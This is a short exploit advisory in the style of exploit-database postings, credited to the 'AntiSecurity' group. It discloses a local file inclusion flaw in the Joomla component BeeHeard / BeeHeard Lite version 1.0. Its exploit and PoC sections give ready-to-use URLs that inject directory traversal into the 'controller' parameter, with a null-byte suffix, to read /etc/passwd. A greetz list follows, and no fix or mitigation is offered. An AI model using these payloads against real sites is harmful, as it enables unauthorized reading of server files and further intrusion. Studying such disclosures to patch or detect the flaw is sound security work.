Joomla Component BeeHeard Lite Local File Inclusion Vulnerability

                                                ===========================================================================
=======================================


[o] Joomla Component BeeHeard Lite Local File Inclusion Vulnerability

Software : com_beeheard version 1.0
Vendor : http://beeheard.cmstactics.com
Author : AntiSecurity [ Vrs-hCk NoGe OoN_BoY Paman zxvf s4va ]
Contact : public[at]antisecurity[dot]org
Home : http://antisecurity.org/


===========================================================================
=======================================


[o] Exploit


http://localhost/[path]/index.php?option=com_beeheard&controller=[LFI]
<< Old version

http://localhost/[path]/index.php?option=com_beeheardlite&controller=[LFI]
<< New version


[o] PoC


http://localhost/index.php?option=com_beeheard&controller=../../../../../..
/../../../../etc/passwd%00

http://localhost/index.php?option=com_beeheardlite&controller=../../../../.
./../../../../../etc/passwd%00


===========================================================================
=======================================


[o] Greetz

Angela Zhang stardustmemory aJe martfella pizzyroot Genex
H312Y yooogy mousekill }^-^{ noname matthews s4va wishnusakti
skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke kaka11


===========================================================================
=======================================